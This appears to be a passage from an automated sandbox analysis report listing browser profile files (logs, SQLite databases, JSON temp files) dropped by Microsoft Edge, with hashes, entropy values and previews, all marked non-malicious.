SSDEEP:	6:HplgIq2PN723oH+TcwtrQMxIFUt8YplHZmw+YplukwON723oH+TcwtrQMFLJ:J3vVaYebCFUt8c1/+cU5OaYebtJ
MD5:	5077800FFA3AFF1D36585FF0288CD62E
SHA1:	A5B07F98426B32692534BD30FCD3541D07BEA98C
SHA-256:	6CC5FC43DA6505797F22A3208ACC5F619EE1F21598C4D84152AC2B157052374E
SHA-512:	E33CF9343AA22241C4AF0643F1E4B75AF2323C7770499BFA4C45D12A7EFD18532D30790F2E7B94FA2857B5AC5D0E9CDD8C5F36CE30C1CF0D9ABC14AF51014099
Malicious:	false
Preview:	2024/11/28-11:24:32.402 2104 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/28-11:24:32.403 2104 Recovering log #3.2024/11/28-11:24:32.408 2104 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13377284674142990

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.8492297598795733
Encrypted:	false
SSDEEP:	24:3847LPwpsAF4unxuLtLp3X2amEtG1ChqzxqDaQKkOAM4A:38ALPwzFYLp2FEkChWGbHOp
MD5:	BFB1CB1306F9127A211D80A7D35BA55F
SHA1:	F744E97E662DBFC35F976604008713EEA574FE62
SHA-256:	D4FD2F9F7D2557FD3E778AB1F1651CB9C8EDF1566A2354E1EDDA4A9E2B861CE8
SHA-512:	891CE4FD5FC1C039DE1E5B05B623262F0B39F5035E547E1E6FBCB2DC313B20F6B50BEADA0DE7FAB1FF67CD0035DA906673D2D2811A9FEDC4BA4729360DC8F83B
Malicious:	false
Preview:	SNSS................................"........................................................!.............................................1..,.......$...b6a5453a_66a3_4a9b_8191_36c64d6535a2.......................C..................................................................5..0.......&...{46F3A197-DB49-410A-81B3-94975C835573}.........................................................................edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x............'.......'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.112258527045553
Encrypted:	false
SSDEEP:	6:HwT91yq2PN723oH+Tcwt7Uh2ghZIFUt8YwTaNj1Zmw+YwTaN1RkwON723oH+TcwK:Qx4vVaYebIhHh2FUt8jMj1/+jMD5OaYz
MD5:	650F12B1A49DA50AEE3D9C45B95A6C60
SHA1:	4B3AA701D1D2F713A0EFC4D1C22E614EFE85EE4C
SHA-256:	A0F9DC8456C46CE730DC16DDDA88BA8F330A13E81D326D0AFD91ABBA8EEEED86
SHA-512:	45BE6312921FB3057369C9E16EC154BDC8098DAC0C855E4F7CB48BABD468259A87FC9CCAAAC08C6CB5CD32F09727C6928B5C59B7E496BF2C1A9178188210957C
Malicious:	false
Preview:	2024/11/28-11:24:31.661 2070 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/28-11:24:31.662 2070 Recovering log #3.2024/11/28-11:24:31.662 2070 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.112258527045553
Encrypted:	false
SSDEEP:	6:HwT91yq2PN723oH+Tcwt7Uh2ghZIFUt8YwTaNj1Zmw+YwTaN1RkwON723oH+TcwK:Qx4vVaYebIhHh2FUt8jMj1/+jMD5OaYz
MD5:	650F12B1A49DA50AEE3D9C45B95A6C60
SHA1:	4B3AA701D1D2F713A0EFC4D1C22E614EFE85EE4C
SHA-256:	A0F9DC8456C46CE730DC16DDDA88BA8F330A13E81D326D0AFD91ABBA8EEEED86
SHA-512:	45BE6312921FB3057369C9E16EC154BDC8098DAC0C855E4F7CB48BABD468259A87FC9CCAAAC08C6CB5CD32F09727C6928B5C59B7E496BF2C1A9178188210957C
Malicious:	false
Preview:	2024/11/28-11:24:31.661 2070 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/28-11:24:31.662 2070 Recovering log #3.2024/11/28-11:24:31.662 2070 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.200266424575218
Encrypted:	false
SSDEEP:	12:Jz/vVaYebvqBQFUt8cg/+cP5OaYebvqBvJ:JDVaYebvZg8ciBOaYebvk
MD5:	AED532DB84FD751B90A51C01E152999D
SHA1:	D9AF0A43D15346133B0EDECD7426764E8D6DCA3E
SHA-256:	4D630DF821C7260122672550203F0C6E1E6D53B9FE4849786DA4DC69CA9A7BE7
SHA-512:	4579625C7E18D87C9646B436360A38C177DC76C5BDF5B658B7F54B596597ABC08FB95EDA197DCD047199BD66C6E40E9E9F1A99195E64316A381E2B0C1145BC9A
Malicious:	false
Preview:	2024/11/28-11:24:32.419 1844 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/28-11:24:32.422 1844 Recovering log #3.2024/11/28-11:24:32.425 1844 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.200266424575218
Encrypted:	false
SSDEEP:	12:Jz/vVaYebvqBQFUt8cg/+cP5OaYebvqBvJ:JDVaYebvZg8ciBOaYebvk
MD5:	AED532DB84FD751B90A51C01E152999D
SHA1:	D9AF0A43D15346133B0EDECD7426764E8D6DCA3E
SHA-256:	4D630DF821C7260122672550203F0C6E1E6D53B9FE4849786DA4DC69CA9A7BE7
SHA-512:	4579625C7E18D87C9646B436360A38C177DC76C5BDF5B658B7F54B596597ABC08FB95EDA197DCD047199BD66C6E40E9E9F1A99195E64316A381E2B0C1145BC9A
Malicious:	false
Preview:	2024/11/28-11:24:32.419 1844 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/28-11:24:32.422 1844 Recovering log #3.2024/11/28-11:24:32.425 1844 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\64479052-0d68-4073-8b04-97d75bee2fc6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\9254fe59-a3e5-4a82-8766-7d1d68eb1421.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF43d53.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF44c57.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\a36ef275-817c-4535-9332-b8e9346fd352.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\f44e5f69-25d9-4bec-a7cb-65d8da4fcc23.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.200581958299435
Encrypted:	false
SSDEEP:	12:dpuvVaYebvqBZFUt8kIr/+kl5OaYebvqBaJ:AVaYebvyg8vOaYebvL
MD5:	7E12C84B12C95BDEAD2A47F940062B22
SHA1:	F4E17C71685B50AF9279B0699CB62FB2131FBA3F
SHA-256:	BA9C9A60437FCE8C877C852AADA8BF0A439D3F73435CB7E663836AE009A31AF0
SHA-512:	38235C579ED94B2408C24B5FA6212CA605F6D60C8D7DA98D7681BB4794F0959CB903D27DFD13289622FFD362844C923C9FBBED7DCC29BA17C031AC3315193BF2
Malicious:	false
Preview:	2024/11/28-11:24:50.898 2104 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/28-11:24:50.901 2104 Recovering log #3.2024/11/28-11:24:50.904 2104 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.200581958299435
Encrypted:	false
SSDEEP:	12:dpuvVaYebvqBZFUt8kIr/+kl5OaYebvqBaJ:AVaYebvyg8vOaYebvL
MD5:	7E12C84B12C95BDEAD2A47F940062B22
SHA1:	F4E17C71685B50AF9279B0699CB62FB2131FBA3F
SHA-256:	BA9C9A60437FCE8C877C852AADA8BF0A439D3F73435CB7E663836AE009A31AF0
SHA-512:	38235C579ED94B2408C24B5FA6212CA605F6D60C8D7DA98D7681BB4794F0959CB903D27DFD13289622FFD362844C923C9FBBED7DCC29BA17C031AC3315193BF2
Malicious:	false
Preview:	2024/11/28-11:24:50.898 2104 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/28-11:24:50.901 2104 Recovering log #3.2024/11/28-11:24:50.904 2104 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.2356239955313155
Encrypted:	false
SSDEEP:	6:HwTBdq2PN723oH+TcwtpIFUt8YwTdBZmw+YwTdbkwON723oH+Tcwta/WLJ:QtdvVaYebmFUt8jb/+jx5OaYebaUJ
MD5:	040D5E60682BEF1675D5AEBF61C6564F
SHA1:	0D9C748F70DBB3095C06C17AE586972CB30F63E5
SHA-256:	BFD9B1F78880D074AEDD7DE82DB1BCDC8BD773617484DBC0CA1B663B746C3E46
SHA-512:	9CCDA34468BA92681B43478084DD2EE9534D886DEE475CCE5648D7FFE6FF6BEFAFD3EB4C75BC89CB14A6D477AC48738599077B50E2856BF42151F993A61A37A0
Malicious:	false
Preview:	2024/11/28-11:24:31.648 7b0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/28-11:24:31.649 7b0 Recovering log #3.2024/11/28-11:24:31.649 7b0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.2356239955313155
Encrypted:	false
SSDEEP:	6:HwTBdq2PN723oH+TcwtpIFUt8YwTdBZmw+YwTdbkwON723oH+Tcwta/WLJ:QtdvVaYebmFUt8jb/+jx5OaYebaUJ
MD5:	040D5E60682BEF1675D5AEBF61C6564F
SHA1:	0D9C748F70DBB3095C06C17AE586972CB30F63E5
SHA-256:	BFD9B1F78880D074AEDD7DE82DB1BCDC8BD773617484DBC0CA1B663B746C3E46
SHA-512:	9CCDA34468BA92681B43478084DD2EE9534D886DEE475CCE5648D7FFE6FF6BEFAFD3EB4C75BC89CB14A6D477AC48738599077B50E2856BF42151F993A61A37A0
Malicious:	false
Preview:	2024/11/28-11:24:31.648 7b0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/28-11:24:31.649 7b0 Recovering log #3.2024/11/28-11:24:31.649 7b0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2680810080779141
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMcSA1LyKOMq+8iP5GDHP/0jMVumk:Kq+n0Jc91LyKOMq+8iP5GLP/0N
MD5:	9C1CD1D7AEB7C07122959E8C6BBDE932
SHA1:	266E41763ED433DF3066FBDFD886E71D21D9F0D0
SHA-256:	9B43EDC94D19CE7E0ECB1DFF7D8555612B9A33B39E8FC9760752150D6B6A6E7B
SHA-512:	7E1C5C7473A3368A88993BC1A909166BADC869F91C85E508ADBA324BFDC3E6C047930FE277C5E6BA9B2B45E24EC3170818246B88FE7B9CA1B212DE31EFAC10A8
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46634530453536394
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0w4WHr:v7doKsKuKZKlZNmu46yjx0w4Cr
MD5:	4CE9F343DD9E516112759BF6E3A14C4C
SHA1:	04C561C669BED77175BC7164D3BD4E0C31AF7C72
SHA-256:	D3822D80247519511D5D8B54FBFAAC26FE0CD1D59C727E6974F07373BDAD8DCE
SHA-512:	D01E7B1A2A23AC31889693FB14770F948DD75FF1FD63BAAD82FDD5BC93267CE5AA3CFC246C795D0A6D7F65EEF05947CA2CE2C7F35111CF6C1E43A133C5CE01DE
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
